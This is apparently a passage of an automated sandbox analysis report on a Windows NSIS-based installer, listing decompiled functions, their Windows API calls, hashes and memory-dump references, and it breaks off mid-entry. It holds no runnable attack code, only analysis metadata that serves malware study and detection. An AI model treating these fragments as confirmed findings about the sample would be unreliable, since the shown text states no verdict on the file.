Instruction Fuzzy Hash: 5321EB72A00200ABDB10EF95CEC49DE73A4AB543187A4403BF506F32D1DB78E891CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00401E7D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00405A14: ShellExecuteExW.SHELL32(?), ref: 00405A23

Part of subcall function 00406873: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406884
Part of subcall function 00406873: GetExitCodeProcess.KERNEL32(?,?), ref: 004068A6

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?), ref: 00401F4D

Strings

@, xrefs: 00401EEF

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: ChangeCloseCodeExecuteExitFindNotificationObjectProcessShellSingleWait
String ID: @
API String ID: 4215836453-2766056989
Opcode ID: ab553f87745a115a7038036096b90b8b7e77b1be170d6e80947200f8fcea40ce
Instruction ID: e7e9fe02224fa80e8acc3d91e69a95aa357927643f4877ada07b0f7c2baa17a7
Opcode Fuzzy Hash: ab553f87745a115a7038036096b90b8b7e77b1be170d6e80947200f8fcea40ce
Instruction Fuzzy Hash: 01112B75E142049BDB10EFB9DA89A8DBBB0AB48304F24453AE555F72D2DBB888419F18

Uniqueness

Uniqueness Score: -1.00%

Function 00405F61 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,004266D0,timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this,0040345A,0040A230,0040A230,0040335E,004266D0,00004000,?,00000000,00403208), ref: 00405F75

Strings

timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00405F61

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: FileRead
String ID: timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 2738559852-1897978588
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00423D35,timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this,004033DE,timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this,00423D35,004266D0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Strings

timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00405F90

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: FileWrite
String ID: timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 3934441357-1897978588
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,0045A730,?,00405DDC,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,004C9000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 080c4fbc0bac1be490202287ae91035c68ce5d17b61444efa9045488ae083b02
Instruction ID: 7d59cd0ba42eeb9d64297a1bfc0940e3ae1e5cc226c4bbb5031ea1960038836b
Opcode Fuzzy Hash: 080c4fbc0bac1be490202287ae91035c68ce5d17b61444efa9045488ae083b02
Instruction Fuzzy Hash: 8811D031904510EBCF30AFA5CD4599E36A0EF15329B28493BFA45B22F1DB3E8D819A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC5 Relevance: 3.0, APIs: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,0045A730,?,00405DDC,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(0045A730,00000000,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNELBASE(0045A730,0045A730,0045A730,0045A730,0045A730,0045A730,00000000,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0), ref: 00405E2E

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID:
API String ID: 3248276644-0
Opcode ID: c50f70bfe3bb78425b78202ba545a0a687f676b53d1ab77a34f5d173cef1449b
Instruction ID: 388cf340d0c034ef08ff27084220079457182ac4682ba574f5a4b5e3d5e6accd
Opcode Fuzzy Hash: c50f70bfe3bb78425b78202ba545a0a687f676b53d1ab77a34f5d173cef1449b
Instruction Fuzzy Hash: DFF0F43A005E1116D62233364D09BEF0948CE82314B1A853BFC91B22D2DB3C8A539DFE

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8c309843f6b2f335838841955cb70ff663a93de2c7e640db2f5b87053db46705
Instruction ID: b0acf179c18152fd5568b60ba426e70b62ff0895eecaeb6bac654bfa50895d4e
Opcode Fuzzy Hash: 8c309843f6b2f335838841955cb70ff663a93de2c7e640db2f5b87053db46705
Instruction Fuzzy Hash: AD012832620210DFE7195B789D18B2A3798E710718F10467FF955F62F1EA78CC429B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Uniqueness

Uniqueness Score: -1.00%

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00405EB9 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405ABE,?,?,00000000,00405C94,?,?,?,?), ref: 00405EBE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405ED2

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 9f0be338fa0adf84d9e7c2e76c5bc37ea56a51acd28ddc8ab22a7b028afbcef4
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 13D01272504420AFC2502738EF0C89FBF95DB543717124B35FAE9A22F0CB304C568A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,004D5000,004D5000,004D5000,004D5000,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 004039E6 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,74DF3420,00403819,00000006,?,00000006,00000008,0000000A), ref: 004039F8
CloseHandle.KERNEL32(FFFFFFFF,74DF3420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A0C

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ffd8599462ce3f723ad4d03e4ae191cd570dcb1409c2afe1ca7b75f560b1f18d
Instruction ID: cd813d42a02bf8c0cac85f8aec853e45aa6acae4c29e822381722b559998feb2
Opcode Fuzzy Hash: ffd8599462ce3f723ad4d03e4ae191cd570dcb1409c2afe1ca7b75f560b1f18d
Instruction Fuzzy Hash: 0AE08C35A4071496C520EF7CBD8D9853A286B813357208326F0BDF21F0C7389EA79EA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401F06 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Part of subcall function 004059D1: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0045E730,Error launching installer), ref: 004059FA
Part of subcall function 004059D1: CloseHandle.KERNEL32(?), ref: 00405A07

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?), ref: 00401F4D

Part of subcall function 00406873: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406884
Part of subcall function 00406873: GetExitCodeProcess.KERNEL32(?,?), ref: 004068A6

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: MessageSend$CloseProcesslstrlen$ChangeCodeCreateExitFindHandleNotificationObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 1543427666-0
Opcode ID: c9c1a9aee45a533bc0b2c0b49cfc15e98268e4d9e70e071c0fafcc67442c1855
Instruction ID: acd8761c06f5a0ec48b5b4c4c323a9df4587fdbfc486ef5c68e798776a33b5ab
Opcode Fuzzy Hash: c9c1a9aee45a533bc0b2c0b49cfc15e98268e4d9e70e071c0fafcc67442c1855
Instruction Fuzzy Hash: 37F09632906011D7CB20FBA189485DE77A49F40318B24417BF501B21D1CB7C4D419A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Uniqueness

Uniqueness Score: -1.00%

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
